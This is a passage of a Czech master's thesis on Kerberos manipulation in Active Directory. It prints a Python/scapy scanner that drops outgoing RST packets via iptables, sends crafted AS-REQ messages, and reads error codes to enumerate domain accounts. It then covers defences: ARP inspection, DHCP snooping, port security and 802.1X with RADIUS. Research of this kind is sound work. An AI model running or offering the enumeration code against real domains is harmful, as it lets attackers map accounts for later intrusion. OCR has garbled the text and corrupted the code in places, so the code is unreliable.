Nastroj nejprve zpracuje wordlist do seznamu a prida pravidlo do iptables, které zabranuje
tomu, aby operacni systém neukoncoval nové navdzané spojeni pomoci scapy. [14] Nasledné
nacte data Kerberos zpravy, které jsou nutné k tomu, aby mu server vrétil odpoveéd’. Nasledné
ndstroj iteruje skrze vSechna uZivatelskd jména v seznamu a pro kazdé se pokusi serveru

OVETit.
with open(wordlist) as file:
payloads = [line.rstrip() for line in file]

# Need to block RST packets before 0S terminates the connection first
https://stackoverflow.com/questions/9058052/unwanted-rst-tcp-
packet -with-scapy

os.system(f"iptables -A OUTPUT -p tcp --tcp-flags RST RST -s {src_ip}
-j DROP")

7 £ = open(kerb_data, "rb")

raw_data = f.read()

Vypis 6.4.2 Nacitani Kerberos dat, zavadéni pravidla do iptables a zpracovani wordlistu

Pro uspésné ovéreni je nejprve nutné navazat TCP spojeni se serverem, kde na zacatku
se vybere ndhodny port, ze kterého bude zprava vysilana. Ndsledné¢ pomoci knihovny Scapy
realizuji standardni three way handshake. Ten je realizovany pomoci funkce srl, kterd ode-
Sle zpravu a nasledné ¢ekd, dokud nedostane od serveru odpovéd’. Pokud ano, tak néstroj

dokonci spojeni pomoci zaslani TCP packetu s vlajkou ACK.
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for payload in payloads:
# Establish TCP handshake with
sport = random.randint (1024, 65535)

ip = scapy.IP(src=src_ip, dst=dst_ip)

# SYN Packet

SYN = scapy.TCP(sport=sport, dport=88, flags=’S’, seq=random.
randint (1000, 9999))

synack = scapy.srl(ip/SYN, timeout=3, verbose=False) # Sending
while waiting for response

if not synack or not synack.haslayer (scapy.TCP) or synack[scapy.

TCP].flags != 0x12:
print ("No SYN-ACK received. Retrying...")
continue
seq_num = synack.ack # Need to keep the sequence and ack numbers
to ensure consistency of the message flow
ack_seq = synack.seq + 1

# Complete the handshake ACK

ACK = scapy.TCP(sport=sport, dport=88, flags=’A’, seq=seq_num, ack
=ack_seq)

scapy.send (ip/ACK, verbose=False)

Vypis 6.4.3 Implementace TCP three way handshaku

Nésledné si predpfipravi modifikovanou zpravu pomoci interpretace Kerberos dat po-
psané v sekci implementace manipulace. Nasledné pomoci Scapy sestroji kompletni zpravu
s modifikovanymi daty a odesle ji na server. V tomto piipadé neni mozZné pouZit metodu
srl, jelikoz ta neuchovdva zadna aplikacni data. TudiZ jako alternativu ndstroj pomoci me-
tody sniff po ¢asovém zpozdéni naslouchd na prichozi komunikaci. Ta je filtrovdna pomoci

pravidel tak, aby obsahovala pouze odpovéd’ serveru.

# Preparing KERB data with desired username
data = prep_payload(raw_data, payload)
# Sending payload
payload_packet = ip / scapy.TCP(sport=sport, dport=88, flags=’PA’,
seq=seq_num, ack=ack_seq) / scapy.Raw(load=data)
scapy .send (payload_packet, verbose=False)
time.sleep (0.5)
server_response = scapy.sniff(filter=f"tcp and src {dst_ipl} and
dst {src_ip} and port 88", count=1, timeout=3) [0]

Vypis 6.4.4 Odeslani autentifikacni zpravy a naslouchani

Z odpovédi serveru se nejprve podiva, jestli existuje a jestli obsahuje TCP hlavicku. Po-
kud ano, extrahuje aplikacni data a podiva se, jestli jsou to Kerberos Data. To je zajiSténo
rozpoznanim identifika¢ni hlavicky pomoci funkce is_kerberos, kde je nutné se podivat na
péty a Sesty bajt. Pokud se na téchto pozicich nachdzi 0x6b 0x82 jedn4 se o zpraivu AS_REP.
Pokud se na patém bajtu nachdzi 0x7e jednd se o zpravu KRB_ERROR. Nésledné funkce

s Y

vrati identifikacni Cisla dle typu rozpoznané zpravy.
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| def is_kerberos(raw_data): # Function which tests if this message is a

S}

26

27

keberos AS message

if len(raw_data) < 9:
return False, 0 # Not enough data to be a Kerberos message

if raw_data[0:2] '= b’\x00\x00°:
return False, 0 # Usually not a Kerberos message
if raw_data[4] == 107 and raw_datal[5] == 130: # Yes i have to do

it this way since the interpretation of bytes is messed up copared
to capturing raw message

return True, 1 # AS-REP
elif raw_datal[4] == 126:

return True, 2 # KERB_ERROR

else:
return False, O

Vypis 6.4.5 Identifikacni funkce is_kerberos

Pokud server odpovi pomoci AS_REQ nemusim zpravu déle zpracovavat, jelikoZ uZivatel
byl jednoznacné rozpozndn. Pokud server odpovi pomoci KRB_ERROR je nutné zpracovat
data a dostat se k poli error code. Dle hodnoty v tomto poli je zprava hodnota prekladana
pomoci slovniku na chybové hldseni. Nasledné vypiSe, zdali uZivatel existuje, i nikoli dle

popisu v predchozi sekci.
if server_response and server_response.haslayer (scapy.TCP):

server_response = server_response.getlayer (scapy.TCP)
server_raw_data = bytes(server_response.payload)
is_krb, msg_type = is_kerberos(server_raw_data)
if is_krb:
if msg_type == 1: # This means this user has preauth disabled

print (f"KDC responded with AS-REQ for {payload}. This user

exists and doesn’t require authentication")
if msg_type == 2:

record_lenght = get_record_lenght (server_raw_datal[:4])

pvno_offset = 4 + 4 + 4 + 1

krb_msg_type_offset = pvno_offset + var_header

stime_len_offset = krb_msg_type_offset + var_header

skip_bytes = server_raw_datal[stime_len_offset] # Skipping
unimportant fields

susec_len_offset = stime_len_offset + skip_bytes +
var_header

skip_bytes = server_raw_data[susec_len_offset]

error_code_len_offset = susec_len_offset + skip_bytes +

var_header
error_code_offset = error_code_len_offset + 1

error_code = server_raw_datal[error_code_offset]

error_code_msg = krb_error_codes.get(server_raw_datal
error_code_offset], "Unknown")

if error_code == 6: # This means user doesnt exist in AD

database
print (£"KDC responded with {error_code_msgl} for user {

payload}. This doesn’t user exists")
elif error_code == 25: # User exists but requires
preauthentication
print (£"KDC responded with {error_code_msgl} for user {
payload}. This user exists and requires pre-authentication")
elif error_code == 18: # User exists but was disabled due
to whatever the organization decided
print (£"KDC responded with {error_code_msgl} for user {
payload}. This user exists but has been disabled")
else: # Any other case user doesnt exist
print (£"KDC responded with {error_code_msgl}. This
response is unusual')

Vypis 6.4.6 Implementace adaptovaného nastroje pro sbér Kerberos zprav
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Nésledné se ukonci TCP spojeni a pokracuje se dalsi iteraci do doby, neZ se projdou
vSechna jména ve wordlistu. Timto zpisobem miiZe utocnik jednoduse ziskat informaci o

tom, jaci uZivatelé se v doméné nachdzeji a ptipadné v jakém stavu je jejich ucet.
6.5 Obrana proti manipulacim

Primérnim vektorem utoku vyuzivanym k t€émto typim manipulaci je samotna sit’, ke které
ma utocnik pristup. Pravé skrze ni je schopen zachytavat a modifikovat komunikaci mezi
klientem a serverem Active Directory (AD), a tim zdmérné podvrhovat upravené zpravy. Ci-
lem téchto zdsaht je vyvolat nestandardni chovani komunikacnich protokolu a ziskat citlivé

informace.

V predchozich ¢astech prace byly popsany konkrétni priklady takovych manipulaci a ana-
lyzovén jejich dopad na bezpecnost sité. Tato kapitola se soustfedi na ndvrh obrannych opat-
feni, jejichz cilem je zabranit dtocnikovi v piistupu do sité a eliminovat moZnosti manipulace

s paketovou komunikaci.

Navrhovand opatfeni budou ovéfena v ramci simulovaného prostfedi v emulatoru GNS3,

kde byla vytvofena testovaci sit'ovd infrastruktura odpovidajici redlnym podminkdm.

NAT1

MikroTikRB401 14

-~ mo]OSvLZlS.Z(Zﬂl?DJ{l:ZBZ%Mg)—l

AD server + RADIUS
VLAN10
Win10-AD2019-1
ParrotNEW, ~ [z
4
=y

Klient
VLAN20

W52019-1

I—‘pﬁ.

ttocnik
VLAN20

Obrazek 6.5.1 Testovaci infrastruktura
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6.5.1 Opatreni proti manipulaci AD podhozenou Kerberos zpravou

Moje demonstrativni feseni je primarné zaméefeno na modifikaci Kerberos zprav. V origindlni
podobé by jeho funkcionalita nebyla mozna bez MiTM ttoku. Jeho principem je manipulovat
ARP tabulku obéti tak, aby klient zasilal svoji komunikaci pfes dtocnika. Takova tabulka by

vypadala nésledovné:

Obrazek 6.5.2 Infikovana ARP tabulka

Aby bylo moZné zabrénit realizaci popsaného typu dtoku, je nezbytné implementovat
dvojici detekénich a ochrannych sit’ovych mechanismi. Prvnim z nich je Dynamic ARP In-
spection (DAI), jehoZz tikolem je zachytdvat a verifikovat veskeré ARP zpravy. Kazd4 pfijata
zprava je porovndvana s tabulkou legitimnich vazeb mezi [P a MAC adresami (tzv. binding
table). Pokud ARP zprava pochdzi od zafizeni, které neni v této tabulce uvedeno, je auto-
maticky zahozena.[16] Tabulka spojeni miiZze byt konfigurovana staticky, ¢imz se predejde
jakémukoli dynamickému ovérovani, nebo miize byt plnéna automaticky pomoci dalsiho na-
stroje — DHCP snoopingu. DHCP snooping monitoruje komunikaci mezi DHCP klienty a
DHCEP servery a zajist'uje, Ze pouze divéryhodné DHCP zpravy jsou akceptovany. Zaroven
vytvaii dynamickou tabulku spojenti, kterd eviduje pridélené IP adresy klienttim spolu s jejich
MAC adresami a porty pripojeni. Tato tabulka pak slouZi jako referen¢ni zdroj pro DAI pfi
ovefovani pravosti ARP zprav.[5] Oba mechanismy — DAI i DHCP snooping — tedy spole¢né
tvori funkéni celek, ktery vyznamné zvySuje bezpecnost sité vici ARP spoofingovym tto-
kiim, typickym pro MITM scénére. Nasledujici obrazky zachycuji prikladovou konfiguraci

uvedenych funkci v rdmci testovaci infrastruktury.
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arp inspection vlan 1,18
arp inspection validate

dhcp snooping trus

Obrazek 6.5.4 Nastaveni pro duvéryhodny interface
S touto konfiguraci je moZné kompletné zamezit tomuto utoku a zdroven s pomoci lo-

govani je mozné vytrasovat, na jakém portu se incident stal. Tuto schopnost demonstruji na

ndsledujicich obrazcich:

Terminal Help

Obrazek 6.5.6 Demonstrace neefektivity MITM utoku - Pohled uto¢nika
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Obrazek 6.5.7 Demonstrace neefektivity MITM ttoku - Zachyceni pokusu o MITM ttok a
jeho blokace

F# Win10-AD2019 [Running] - Oracle VirtualBox

File Machine View Input De Help

B Administrator: Command Prompt
i oft lersi

— 1214PM
HJl © Type here to search i ~ ) €8 =

B Ok & NE T S0 Right Gl
Obrazek 6.5.8 Demonstrace neefektivity MITM ttoku - Arp tabulka klienta zlistava
konzistentn{
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Jak je viditelné, i kdyz utoCnik aktivné snazi zmanipulovat ARP tabulku obéti, tak se na
Windows klientovi nic nezméni a tabulka zlstava konzistentni. Hlavni funkcionalitu skriptu

neni tedy moZné realizovat, jelikoZ klient bude preposilat data pfimo na server AD.
6.6 Obrana proti skenovani

V predchozi sekci jsem se zaméfil na obranu proti manipulaci s Kerberos zpravou, ktery
vyzadoval MITM ttok. Co kdyz se ale tto¢nik rozhodne provést tento ttok fyzickym zptiso-
bem a postavi se pifimo mezi server? V tu chvili se tto¢nik chova jako Cisty bridge, ktery pres
sebe pouze preposild informace. V takové chvili jsou navrzena opatfeni k ni¢emu, jelikoz k

manipulaci s ARP tabulkou nedochdzi.

Podobnym zptlisobem je nutné premyslet nad skenovanim pomoci Kerberos zprav. Z pod-
staty implementace dochazi pouze k tomu, Ze se néjaky klient snazi autentifikovat vici ser-
veru AD pomoci Kerberos zpravy. Pokud je pozadavek validni, nema server diivod tento
pozadavek zamitnout nebo ho ignorovat. Detekce skenovani tedy neni prakticky mozna, je-
likoZ se miiZe jednat o jakékoliv zafizeni, které Zada o autentifikaci viici serveru AD. Je tedy

nutné navrhnout opatfeni, aby byl uto¢nikovy zamezen pfistup do sité.

6.6.1 Opatreni proti skenovani a fyzickému MITM itoku

Nejprve bych se zaméfil na prevenci proti fyzickému MITM utoku. Vzhledem k tomu, Ze
v tuto chvili nedochazi k manipulaci s ARP tabulkou, nemlze DAI zareagovat, jelikoZ se
uto¢nik tvari jako legitimni zafizeni, které preposild zpravy. V této situaci by se na jednom
portu ale objevily dvé MAC adresy. To znamend, Ze je nutné omezit pocet MAC adres,
které mohou byt registrovany na portu. K tomu slouZi port-security, které umoznuje limitovat
pocet adres na portu nebo limitovat port pouze na specifické MAC adresy. Zaroven je mozné
nastavit, jak switch bude reagovat, pokud by byl piekrocen limit nebo se na portu objevila

jind adresa. Ptiklad konfigurace port security je na nasledujicim obrazku:
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Obrazek 6.6.1 Nastaveni port security

V uvedené konfiguraci dochdzi k dynamickému pfifazovani MAC adres ke konkrétnim
portim v okamziku, kdy se zafizeni pfipoji. Pokud nedojde k Zadné sit’ ové aktivité¢ po dobu
deseti minut, jsou tyto zdznamy automaticky odstranény. Soucasné je nastavena maximalni
kapacita dvou MAC adres na jeden port. Ve vychozim nastaveni reaguje prepinac (switch)

na poruseni tohoto limitu deaktivaci ptisluSného portu.

Je mozné omezit pocet povolenych MAC adres na portu i na jednu, avSak v redlném
provozu muze byt zapotiebi vetsi flexibilita — napiiklad v pripadech, kdy je ke klientskému
zafizeni pfipojeno dalsi zafizeni zprostiedkujici komunikaci, jako jsou telefonni linky typu
MITEL. Limit by mél byt proto nastaven s ohledem na konkrétni topologii sit€ a o¢ekdvany
pocet zafizeni pfipojenych ke kazdému portu.

Je v8ak nutné zduraznit, Ze tato konfigurace sama o sobé nezabrani tomu, aby se tto¢nik
nepokusil pfipojit k neobsazenému portu, piipadné fyzicky odpojit koncové zafizeni a na-
hradit jej vlastnim. Pro uplné zajisténi fizeného pristupu k siti je vhodné nasadit autentizaci

podle standardu 802.1X ve spolupraci s RADIUS serverem.
Pro ucely demonstrace byla jako autentizacni server vyuZita sluzba NPS (Network Policy
Server). Nasledujici ¢ast prace se vénuje konfiguraci NPS serveru i samotného sit’ového

prepinace pro potieby ovérovani uzivateli pied prid€lenim pfistupu k siti.
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Settings | Advanced
Enable this RADIUS client

Select an existing template:

Name and Address
Friendly name:
|cisco |
Address {IP or DNS): *
192.168.99.2 || Vefy..
Shared Secret
Select an existing Shared Secrets template:
MNone w
To manually type a shared secret, click Manual. To automatically generate a shared
secret, click Generate. You must configure the RADIUS client with the same shared
secret entered here. Shared secrets are case-sensitive.
(®) Manual () Generate
Shared secret:
|.......... |
Confirm shared secret:
|...'...... |
Concel | | sl
Obrazek 6.6.2 Nastaveni Radius klienta
@ letwork Policy Server Secure Wired (Ethernet) Connections Properties *

File Action View Help| guenjey Condtions Constraints Settings

o= nE HE

@ NPS (Local) I conditions match the connection request, NP5 uses this policy to authorize the connection request.  conditions do not match the
w [ | RADIUS Clients and 5¢{  connection request. NPS skips this policy and evaluates other policies. if addtional policies are configured

5 RADIUS Clients
5’3 Remote RADIUS S¢

Configure the conditions for this network policy.

w EJ’ Policies Condition Value
| Connection Reque 9 NAS Port Type Ethemet
|~ Network Policies B User Groups TESTWNET_ACCESS

8. Accounting
l; Templates Manageme|

Condition description:
The User Groups condition specifies that the connecting user must belong to one of the selected groups

Add.. Remove

Obrazek 6.6.3 Nastaveni pristupu pouze pro ¢leny skupiny skupiny NET_ACCESS
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@ Secure Wired (Ethernet) Connections Properties x

File Action View Help| nueniew Condiions Constraints Settings

= ‘ - ‘ E Corfigure the constraints for this network palicy
@ NPS (Local) I all constraints are not matched by the connection request. network access is denied.

~ [7] RADIUS Clients and 5S¢ Consiraints
S RADIUS Clients Conatraints

j'_i| Rermote RADIUS 5¢
-, £ Authentication Methods
v [ Policies

Allow access only to those clients that authenticate with the specified methods.

_| Connection Reque o ldle Timeout EAP types are negotiated between MPS and the client in the order in which they are
 Network Policies s Session Timeout listed.
& Accounting EAP Types:

= Called Station ID
o Templates Manageme = Microsaoft: Protected EAP (PEAP)

5 Day and time restrictions

T NAS Port Type

Add.. Edit.. Remove

Less securs authentication methods:
Microsoft Encrypted Authertication version 2 (MS-CHAP-v2)

User can change password after it has expired
[ Microsoft Encrypted Authentication (MS-CHAP)

User can change password after it has expired

[ Encrypted authentication (CHAP)
] Urencrypted authentication (PAP. SPAP)
[[] Allow clients to connect without negotiating an authentication method

Obrazek 6.6.4 Nastaveni autentifikacnich metod

Na switchi je potfeba nakonfigurovat authenticator jako NPS server a nastavit port tak,

aby vyZadoval DOT1X ovéfeni. Tato konfigurace vypada nasledovné:

* Nastaveni AAA modelu
— aaa new-model
— aaa authentication dotlx default group radius
— aaa authorization network default group radius
» Zapnuti moznosti autentifikace na portech
— dotlx system-auth-control
* Nastaveni Radius serveru
— radius-server host 192.168.85.254 auth-port 1812 acct-port 1813
key 7 013703025A1EOA1B (priklad)
» Zapnuti autentifikace na specifickych portech
— authentication port-control auto

— dotlx pae authenticator

V tento moment, pokud tto¢nik nemd Zadné pristupové tidaje, neni mu povolen pfistup,

tudiZ nemiize vykondvat manipulace ani skenovani. Ukazka funkcionality nasleduje:
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1+ E‘ <« Network and Internet > Metwork Connections » v O Search Metwork Connections @

Organize + Disable this netwis deica Nisanaca thic cannactian Banamathic cannackipn 3

§ Ethernet Status X

t Ethernet s
S TESLez Metwork Connection Details X
@7 Intel(R) PRO/1000 MT D

Network Connection Details

Property Value

Connection-specific DN..

Description Intel{R) PRO/1000 MT Desktop Adapter
Physical Address 08-00-27-66-4F-96

DHCP Enabled

IPv4 Address

IPv4 Subnet Mask

Lease Obtained Thursday, March 27, 2025 4:08:02 PM
Lease Expires Thursday, March 27, 2025 4:18:02 PM
|Pv4 Default Gateway 192.168.86.1

IPv4 DHCP Server 192.168.86.1

IPv4 DNS Server 192.168.85.254

IPv& WINS Server

NetBIOS over Tepip En...  Yes

Linkdocal IPvE Address  feB0:balf:7d47.dc ¥ af 412

|PvE Default Gateway

IPv6 DNS Server

< >

Titem  7item selected

Obrazek 6.6.6 Rozdil mezi autentifikovanym a neautentifikovanym klientem - Doménovy
klient
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[ N Parrot Terminal
File Edit \ Search Terminal Help

collision

Obrézek 6.6.7 Rozdil mezi autentifikovanym a neautentifikovanym klientem - Uto&nik



7. Zaver

Diplomova prace na téma Manipulace s Active Directory pomoci protokolu Kerberos a jeji
detekce je rozdélena na dvé ¢4sti. V prvni Césti jsem teoreticky vysvétlil zdkladni principy
adresafovych sluzeb s historif a evoluci sluzby Active Directory. Nasledné jsem ukézal za-
kladni funkcionalitu Active Directory se zaméfenim na jeji strukturu, objekty, uklddani a
zakladni omezeni uzivatelskych hesel. Posledni kus prvni ¢asti jsem se vénoval rozboru pro-
tokoltt LDAP a Kerberos s pohledem na typy zprav, jejich strukturu a vyuZziti v komunikaci

mezi klientem a serverem.

Druhd ¢4st byla vénovéna praktické implementaci manipulace pomoci Protokolu Kerbe-
ros. Nejprve jsem server pomoci editace zpravy donutil poslat jinou autentifikaéni zpravu,
nez klient ocekava. Nasledné jsem navrhnul skener na uZivatelské ucty, ktery pomoci od-
povédi serveru dokdzZe rozeznat, které ucCty se v doméné nachazi. Testy manipulaci byly
provadény na testovaci infrastruktufe s operacnimi systémy Windows 10 a 11 pro klienty a
Windows Server 2016, 2019, 2022, 2025 pro doménovy kontroler. Posledni kus druhé Casti
jsem vénoval ochrannym opatfenim, které zamezi potencidlnimu ttocnikovi vykonat tyto

utoky. Ty jsou realizovany pomoci konfiguraci na switchich od firmy Cisco.

Vystupem prace je ukdzka reakce serveru na manipulaci a skenovani pomoci manipulace
s Kerberos protokolem. Manipulace je realizovana pomoci MITM tutoku mezi klientem a ser-
verem. Hlavni podstatou je manipulace uZzivatelského jména a rekonstrukce zpravy na bitové
urovni. Prvnim zjiSténim bylo to, Ze pfi autentifikaci doménového uZzivatele na strané klienta
vibec nezaleZi na tom, co je vyplnéno do pole pro uzivatelské jméno. Pokud je jméno modi-
fikovano na kratsi, bude se ovéteni chovat tak, jako by se klient ptihlasoval na modifikované
jméno. Druhym zjisténim byla situace, kdy modifikované jméno je vétsi neZ ptivodni. V tuto

chvili se klient zacykli s tim, Ze se mu nepodafi prihlésit.

99
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Skenovani je realizovano podobnym zpiisobem jako manipulace, aZ na to, Ze vyuZiva
pouze ¢ast modifikace zpravy. Hlavni podstatou je navdzat standardni TCP three way hand-
shake, a ndsledné se pokusit autentifikovat pomoci autentifikacni zpravy Kerberos. V zdvis-
losti na odpovédi serveru je mozné zjistit, jaci uZivatelé se v doméné nachazeji. Vysledki

skenovdani je moZno nédsledné vyuZit v manipulaci nebo jinych tdtocich.

Tato prace ma moZnost se ddle rozvijet a objevovat nové a moznd i zdvaznéjsi chyby, které

Vv,

Vv

zarucit vyS$$i bezpecnost svych klientt.
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Seznam pouzitych symbola a zkratek

MITM Man in the middle

TCP Transmission Control Protocol

UDP User Datagram Protocol

AD Active Directory

DC Domain Controller

KDC Key Distribution Center

LDAP Lightweight Directory Access Protocol
ou Organizational Unit

SAM Security Accounts Manager

ST Service Ticket

AS Autentization Service

TGT Ticket Granting Ticket

TGS Ticket Granting Service

AAA Authentication Authorization Accounting
DHCP Dynamic Host Configuration Protocol
ARP Address Resolution Protocol

SMB Server Message Block
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